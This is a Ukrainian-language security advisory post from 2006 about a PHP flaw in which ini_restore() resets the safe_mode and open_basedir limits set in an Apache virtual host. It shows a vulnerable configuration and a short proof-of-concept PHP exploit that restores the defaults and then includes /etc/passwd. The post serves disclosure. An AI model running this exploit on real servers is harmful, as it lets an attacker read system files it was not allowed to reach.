Обхід обмежень безпеки в PHP

21:15 28.09.2006

Можливий обхід обмежень безпеки в PHP.

Уразливі версії: PHP <= 4.4.4, PHP <= 5.1.6.

Уразливість дозволяє віддаленому користувачу одержати доступ до важливих даних в системі.

Уразливість існує через недостатнє обмеження на зміну параметрів safe_mode і open_basedir у функції ini_restore(). Якщо ці обмеження встановлені в настроюваннях віртуального хоста веб сервера, а у файлі php.ini знаходяться значення за замовчуванням, зловмисник може відновити значення за замовчуванням і обійти обмеження, встановлені у конфігураційному файлі web сервера.

Приклад уразливої конфігурації:
<Directory /usr/home/frajer/public_html/>
Options FollowSymLinks MultiViews Indexes
AllowOverride None
php_admin_flag safe_mode 1
php_admin_value open_basedir /usr/home/frajer/public_html/
</Directory>

Експлоіт:
<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
?>

Вдала експлуатація уразливості дозволить зловмиснику одержати доступ до вмісту довільних файлів даної системи.

Додаткова інформація:

  • Обхід захисту PHP Safe Mode (деталі)
  • Обход ограничений безопасности в PHP (деталі)

Leave a Reply

You must be logged in to post a comment.